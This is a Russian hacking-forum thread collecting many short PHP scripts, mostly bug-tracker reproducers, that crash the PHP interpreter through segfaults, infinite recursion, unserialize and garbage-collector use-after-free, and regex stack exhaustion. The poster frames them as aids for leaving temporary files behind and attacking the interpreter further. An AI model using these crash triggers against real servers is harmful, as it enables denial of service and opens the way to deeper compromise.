PHP crashes / Blue elephant down

Discussion in 'Уязвимости' started by crlf, 13 Dec 2017.

  1. crlf

    crlf Green member

    Joined:
    18 Mar 2016
    Messages:
    683
    Likes Received:
    1,513
    Reputations:
    460
    В процессе поиска на bugs.php.net краша под свой случай, накопилось много различных реализаций. К сожаленю, я всё ещё в поисках, поэтому предлагаю постить здесь различные примеры и, по возможности, обсуждать их.

    Различные кейсы могут быть полезны для возможности оставления временных файлов, развития дальнейшей атаки на интерпретатор и других хитрых штук ;)

    Потестить на различных версиях пыха можно здесь.

    Следующие примеры тестились на Linux с PHP 5.6.32.

    PHP:
    <?php

    include(__FILE__);

    ?>
    PHP:
    <?php

    class {}
    class 
    extends {
        public function 
    __construct() {
            
    $args func_get_args();
            
    call_user_func_array(array($this"parent::__construct"), $args);
        }
    }
    class 
    extends {}
    $instance = new C(); // Segfault

    ?>
    PHP:
    <?php

    preg_match
    ("/(a)*/",str_repeat("a",33333));

    ?>
    PHP:
    <?php

    preg_replace
    ("/'(\\\\'|\\\\{2}|[^'])*'/"''"'".str_repeat("a",33333)."'");

    ?>
    PHP:
    <?php

    class bad{function t(){$h[]=0;}function __destruct(){global$bar;$bar=$this;}}$foo->f=$foo=$d=new bad;unserialize(serialize($foo));gc_collect_cycles();

    ?>
    PHP:
    <?php

    print_r
    (get_loaded_extensions());class SegfaultScenario{private$e;private$t;function __construct(){$this->e=$this;$this->ob0ect=new\stdClass;}public function __destruct(){//
    if(!$this->ob0ect)(0);var_dump($this);}}class SomeContainer{public function run(){new SegfaultScenario;}}$container=new SomeContainer();$container->run();gc_collect_cycles();

    ?>
    PHP:
    <?php

    $im 
    = new Imagick();
    $im->newImage(11'black');

    // This works fine
    $it $im->getPixelIterator();
    $row $it->getCurrentIteratorRow();
    $rgb $row[0]->getColor();

    var_dump($rgb);

    // This crashes with SIGABRT
    $row $im->getPixelIterator()->getCurrentIteratorRow();
    $rgb $row[0]->getColor();

    var_dump($rgb);

    ?>
    PHP:
    <?php

    class A{
        public static function 
    __callStatic($name$arguments){
            
    self::inf();
        }
    }

    $b = new A;
    $b::hello();

    ?>
    PHP:
    <?php

    class A{public static function __callStatic($e,$a){self::i();}}$b=A;$b::h();

    ?>
    PHP:
    <?php

    class Cloneable {
       public function 
    __clone(){
           return clone 
    $this;
       }
    }

    $c = new Cloneable();
    $a = clone $c;

    ?>
    PHP:
    <?php

    class Ahihi {};
    class 
    Ihaha
    {
        function 
    __sleep()
        {
       new 
    Ahihi;
       
    $_SESSION['ihaha'] = "gogogo";
       return array();
        }
    }

    session_start();
    $_SESSION['ihaha']['boom'] = new Ihaha;

    ?>
    PHP:
    <?php

    mb_ereg_search_init
    ("Peter is a boy.");
    $v1=str_repeat("()"0xffffe);
    mb_ereg_search_pos($v1);

    ?>
    PHP:
    <?php

    spl_autoload_register
    (function($className){
       
    $fileName $className '.php';
       include 
    $fileName;
       
    unlink($fileName);
    });
    $symbols array_merge(range('a''z'), range('A''Z'), ['_']);
    class 
    baseClass {
       public 
    $arr = [];
    }
    $oldClassName 'baseClass';
    for (
    $k=0$k 10000; ++$k) {
       
    $className '';
       do {
           for (
    $len rand(1022); $len 0; --$len) {
               
    $className .= $symbols[rand(0count($symbols) - 1)];
           }
       } while (
    class_exists($classNamefalse));
       
    $className trim($className'_ ');
       
    $code '[PHP]<?php
       class ' 
    $className ' extends ' $oldClassName '{}';
       
    file_put_contents($className '.php'$code);
       
    $oldClassName $className;
    }
    $class = new $className($class);

    var_dump($class);

    ?>
    PHP:
    <?php

    class PrivateKey {

        public 
    $data;

        public function 
    __construct($data) {
            
    $this->data $data;
        }

        public function 
    __toString() {
            
    openssl_pkey_export($this->data$output);
            return 
    $output;
        }

    }

    $csr openssl_csr_new([], $privateKey);
    $certificate openssl_csr_sign($csrNULL$privateKey1);

    $privateKey = new PrivateKey($privateKey);
    openssl_pkcs12_export_to_file($certificate'/tmp/test.p12'$privateKey'');

    ?>
    PHP:
    <?php

    class Pwn {

    function 
    __toString() {
     
       global 
    $a;
       if (isset(
    $a[0])) unset($a[0]);
       return 
    str_repeat("Z"67);

    }

    }

    $a = array("dummy", new Pwn(), "dummy2");

    natsort($a);

    ?>
    PHP:
    <?php

    $doc1 
    = new DOMDocument('1.0''UTF-8');
    $a $doc1->createElement('el_a');
    $a->appendChild($doc1);

    ?>
    PHP:
    <?php

    ini_set
    ('memory_limit''32M');
    $var5 str_repeat("A",30000000);
    $x = array($var5);

    function 
    crash_me(&$x) {
     die(
    'failed :-(');
    }

    crash_me($var5);

    ?>
    PHP:
    <?php

    class foo extends DatePeriod {
       public function 
    __construct() { }
    }

    foreach (new 
    foo as $y);

    ?>
    PHP:
    <?php

    $x 
    = new AppendIterator;
    $x->append($x);

    ?>
    PHP:
    <?php

    class user_filter extends php_user_filter {
            function 
    filter($in$out, &$consumed$closing) {
                    while(
    $bucket stream_bucket_make_writeable($in)) {
                    }
                    
    fclose($this->stream);
            }
    }
    stream_filter_register('user_filter','user_filter');
    $fd fopen('php://memory','w');
    $filter stream_filter_append($fd'user_filter');
    fwrite($fd"foo");

    ?>
    PHP:
    <?php

    class JsonTest implements JsonSerializable {
        public function 
    jsonSerialize() {
           return new 
    JsonTest;
        }
    }

    $obj = new JsonTest;
    json_encode($obj);

    ?>
     
    #1 crlf, 13 Dec 2017
    Last edited: 17 Dec 2017
    eminlayer7788, grimnir and t0ma5 like this.
  2. crlf

    crlf Green member

    Joined:
    18 Mar 2016
    Messages:
    683
    Likes Received:
    1,513
    Reputations:
    460
    [​IMG]

    Ещё немного "роняний" :)

    PHP:
    <?php

    $fh 
    fopen('/tmp/segfault.txt''w');
    stream_filter_append$fh'convert.quoted-printable-decode'STREAM_FILTER_WRITE, array( 'line-break-chars' => "\r\n" ));

    $lines = [
       
    "\r\n",
       
    " -=()\r\n",
       
    " -=\r\n",
       
    "\r\n"
       
    ];

    foreach (
    $lines as $line)
    {
       try
       {
           
    fwrite($fh$line);
       }
       catch (\
    Exception $e) { }
    }

    fclose($fh);

    ?>
    PHP:
    <?php

    $data 
    fopen('php://temp''r+');
    fwrite($data"test\r\ntest\r\n\r");

    $stream fopen("php://temp"'r+');
    stream_filter_append($stream'convert.quoted-printable-encode'STREAM_FILTER_WRITE, array('line-length' => 5'line-break-chars' => "\r\n"));
    rewind($data);
    stream_copy_to_stream($data$stream);

    ?>
    PHP:
    <?php

    $dom 
    = new DOMDocument();
    $dom->loadXML('<?xml version="1.0" encoding="UTF-8"?>
    <urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9" xmlns:xsi="fooooooooooooooooooooo">
    </urlset>
    '
    );
    if (
    $dom->documentElement) {
        if (
    $spaceNode $dom->documentElement->getAttributeNode('xmlns')) {
          
    $spaceNode->parentNode;
        }
    }

    ?>
    PHP:
    <?php

    function fun()
    {
        
    $root NULL;

        for (
    $i 0$i 100000$i += 1)
        {
            
    $tmp = new \stdClass;
            
    $tmp -> aProperty $root;
            
    $root $tmp;
        }

        echo 
    "Finished making objects!\n";
    }

    fun();
    echo 
    "Done!\n";
    ?>
    PHP:
    <?php

    class Node{private$n0;public function setNe0t($node=0){$this->n0=$node;return$this;}}class Lin0edList{private$d;public function addNode(){$this->head=(new Node)->setNe0t($this->head);}}$ll=new Lin0edList;for(;$i<100000;$i++){$ll->addNode();}

    ?>
    PHP:
    <?php

    class ABC {
        public function 
    self_recursive() {
            
    $this->self_recursive();
        }
    }

    $obj = new ABC();
    $obj->self_recursive();

    ?>
    PHP:
    <?php

        
    class MyStream {
            function 
    stream_open($path$mode$options, &$opened_path) {
                return 
    true;
            }
     
            function 
    stream_write($data) {
                global 
    $ftp;
                
    ftp_close($ftp);

                for (
    $i 0$i 4000$i++)
                    
    $GLOBALS['fakestreamobj' $i] = str_repeat(chr(0x65), 8500);

                return 
    strlen($data);
            }
        }
      
        
    stream_wrapper_register("MyProtocol""MyStream");
        
    $ftp ftp_connect("ftp.hosteurope.de");
        
    ftp_login($ftp"anonymous""hello@world");
        
    ftp_pasv($ftptrue);
        
    $stream fopen("MyProtocol://nothing""w+");
        
    ftp_nb_fget($ftp$stream"he/pd/apt/index.html"FTP_ASCII);

    ?>
    PHP:
    <?php

    class ExceptionHandler {
       public function 
    __invoke (Exception $e)
       {
           
    // D
           
    $backtrace debug_backtrace();
           
    // E
           
    $a['err_1'];
       }
    }

    set_error_handler(function()
    {
       
    // B
       
    set_exception_handler(new ExceptionHandler());
       
    // C
       
    throw new Exception;
    });

    // A
    $a['err_0'];

    ?>
    PHP:
    <?php

    function crash() {
        @
    mysql_connect('127.0.0.1');
    }

    class 
    Session_Handler_T {
       public function 
    open($path$name)
       {
           return 
    TRUE;
       }

       public function 
    close()
       {
           return 
    TRUE;
       }

       public function 
    read($id)
       {
            
    crash();
           return 
    TRUE;
        }

       public function 
    write($id$data)
       {
            
    crash();
           return 
    TRUE;
        }

       public function 
    destroy($id)
       {
           return 
    TRUE;
        }

       public function 
    gc($maxlifetime)
       {
           return 
    TRUE;
        }
    }

    class 
    ExceptHandler extends Exception {
       public static function 
    handle(Exception $e) {
            
    $handler = new Session_Handler_T();
           
    session_set_save_handler
           
    (
               array(
    $handler'open'),
               array(
    $handler'close'),
               array(
    $handler'read'),
               array(
    $handler'write'),
               array(
    $handler'destroy'),
               array(
    $handler'gc')
           );
           
    session_start();
       }
    }

    set_exception_handler(array('ExceptHandler''handle'));
    throw new 
    Exception('test');

    ?>
    PHP:
    <?php

    class ArrayAccessReferenceProxy implements ArrayAccess
    {
        private 
    $object;
        private 
    $oarray;
        private 
    $element;
      
        function 
    __construct(ArrayAccess $object, array &$array$element)
        {
            echo 
    __METHOD__ "($element)\n";
            
    $this->object $object;
            
    $this->oarray = &$array;
            
    $this->element $element;
        }
        function 
    offsetExists($index) {
            echo 
    __METHOD__ "($this->element$index)\n";
            return 
    array_key_exists($index$this->oarray[$this->element]);
        }
        function 
    offsetGet($index) {
            echo 
    __METHOD__ "($this->element$index)\n";
            return isset(
    $this->oarray[$this->element][$index]) ? $this->oarray[$this->element][$index] : NULL;
        }
        function 
    offsetSet($index$value) {
            echo 
    __METHOD__ "($this->element$index$value)\n";
            
    $this->oarray[$this->element][$index] = $value;
        }
        function 
    offsetUnset($index) {
            echo 
    __METHOD__ "($this->element$index)\n";
            unset(
    $this->object[$this->element][$index]);
        }
    }
    class 
    Peoples implements ArrayAccess
    {
        public 
    $person;
      
        function 
    __construct()
        {
            
    $this->person = array(array('name'=>'Foo'));
        }
        function 
    offsetExists($index)
        {
            return 
    array_key_exists($index$this->person);
        }
        function 
    offsetGet($index)
        {
            if (
    is_array($this->person[$index]))
            {
                return new 
    ArrayAccessReferenceProxy($this$this->person$index);
            }
            else
            {
                return 
    $this->person[$index];
            }
        }
        function 
    offsetSet($index$value)
        {
            
    $this->person[$index] = $value;
        }
        function 
    offsetUnset($index)
        {
            unset(
    $this->person[$index]);
        }
    }
    $people = new Peoples;
    echo 
    "===ArrayOverloading===\n";
    $people = new Peoples;
    unset(
    $people[0]['name']);
    var_dump($people[0]);

    ?>
     
    t0ma5, grimnir and eminlayer7788 like this.
  3. crlf

    crlf Green member

    Joined:
    18 Mar 2016
    Messages:
    683
    Likes Received:
    1,513
    Reputations:
    460


    PHP:
    $x 'O:16:"DOMConfiguration":1:{s:1:"A";r:1;}';
    var_dump(unserialize($x));
    PHP:
    function test() {
        static 
    $i 0;
        if (
    $i === PHP_INT_MAX) {
            echo 
    $i PHP_EOL;
            return ;
        }
        if (!(
    $i 256)) {
            echo 
    $i PHP_EOL;
        }
        
    $i++;
        
    test();
    }
    test();
    PHP:
    interface MyInterface {
        public function 
    toHtml();
    }

    abstract class 
    MyAbstract {
        protected function 
    _toHtml()
        {
            return 
    '';
        }

        final public function 
    toHtml()
        {
            return 
    $this->_toHtml();
        }
    }

    class 
    MyClass extends MyAbstract implements MyInterface {
        function 
    _toHtml() {
            return 
    $this->toHtml();
        }
    }

    $obj = new MyClass();
    var_dump($obj->_toHtml());
    exit;